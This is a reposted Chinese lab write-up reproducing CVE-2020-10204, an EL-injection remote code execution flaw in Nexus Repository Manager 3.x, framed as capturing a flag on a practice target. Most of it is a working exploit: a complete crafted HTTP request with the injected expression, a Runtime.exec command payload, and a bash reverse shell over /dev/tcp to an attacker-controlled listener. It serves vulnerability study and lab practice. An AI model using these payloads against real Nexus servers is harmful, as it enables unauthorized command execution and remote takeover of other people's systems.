• 首页 首页 icon
  • 工具库 工具库 icon
    • IP查询 IP查询 icon
  • 内容库 内容库 icon
    • 快讯库 快讯库 icon
    • 精品库 精品库 icon
    • 问答库 问答库 icon
  • 更多 更多 icon
    • 服务条款 服务条款 icon

nexus 命令执行 CVE-2020-10204复现

武飞扬头像
恸.283
帮助1

漏洞描述

Nexus Repository Manager(NXRM)是美国Sonatype公司的一款Maven仓库管理器。 CVE-2020-10199的漏洞需要普通用户权限即可触发,而CVE-2020-10204则需要管理员权限。两个漏洞的触发原因均是不安全的执行EL表达式导致的。

漏洞影响

Nexus Repository Manager OSS/Pro 3.x <= 3.21.1

漏洞复现

1、访问靶场IP 点击Sign进行登录 admin admin

学新通

2、抓包获取登录后的cookie及csrf属性。

学新通

3、改包,通过"memberNames"中3个233相乘的命令能否执行来判断漏洞存在

  1.  
    POST /service/rest/beta/repositories/go/group HTTP/1.1
  2.  
    Host: 靶场ip:端口
  3.  
    Content-Length: 203
  4.  
    X-Requested-With: XMLHttpRequest
  5.  
    X-Nexus-UI: true
  6.  
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
  7.  
    NX-ANTI-CSRF-TOKEN: 0.7886248393834028
  8.  
    Content-Type: application/json
  9.  
    Accept: */*
  10.  
    Origin: 靶场ip:端口
  11.  
    Sec-Fetch-Site: same-origin
  12.  
    Sec-Fetch-Mode: cors
  13.  
    Referer: 靶场ip:端口
  14.  
    Accept-Encoding: gzip, deflate, br
  15.  
    Accept-Language: zh-CN,zh;q=0.9
  16.  
    Cookie: NX-ANTI-CSRF-TOKEN=0.7886248393834028; NXSESSIONID=cedf848f-d881-4b58-ac24-9e9c3ece40bc
  17.  
    Connection: close
  18.  
     
  19.  
    {
  20.  
    "name": "internal",
  21.  
    "online": true,
  22.  
    "storage":
  23.  
    {
  24.  
    "blobStoreName": "default",
  25.  
    "strictContentTypeValidation": true
  26.  
    },
  27.  
    "group":
  28.  
    {
  29.  
    "memberNames": ["$\\A{233*233*233}"]
  30.  
    }
  31.  
    }
学新通

上面数据包中的NX-ANTI-CSRF-TOKEN 和Cookie 的值修改为第2步中所抓数据包中对应的值。

学新通

可以看到命令被成功执行了。

4、将"memberNames"中的值改成命令执行的pyload,再次放包,下图中这个情况说明命令被成功执行了。

A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch /tmp/success')}

学新通

但是换成ls /tmp 之后,命令执行的结果并不会回显在返回的数据包中,所以想要获得flag,最方便的还是反弹shell了。

5、将命令修改为反弹shell的命令,VPS进行监听。

"$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('/bin/bash -c bash>&/dev/tcp/IP/8888<&1')}"

学新通

6、反弹成功 ls /tmp获取flag。

学新通

这篇好文章是转载于:学新通技术网

  • 版权申明: 本站部分内容来自互联网,仅供学习及演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,请提供相关证据及您的身份证明,我们将在收到邮件后48小时内删除。
  • 本站站名: 学新通技术网
  • 本文地址: /boutique/detail/tanhgfecif
系列文章
更多 icon
同类精品
更多 icon
继续加载